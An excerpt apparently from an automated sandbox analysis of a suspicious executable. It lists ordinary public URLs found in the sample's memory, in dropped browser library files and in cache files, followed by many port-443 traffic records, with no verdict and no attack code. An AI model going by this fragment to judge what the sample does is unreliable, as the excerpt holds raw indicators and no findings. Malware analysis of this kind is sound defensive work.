Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_482.4.dr	String found in binary or memory: https://www.google.com
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f68a828a-55d2-4f9c-9ebf-307273fda29c.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_486.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_486.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2492295445.00000000236F5000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2492295445.00000000236F5000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2492295445.00000000236F5000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
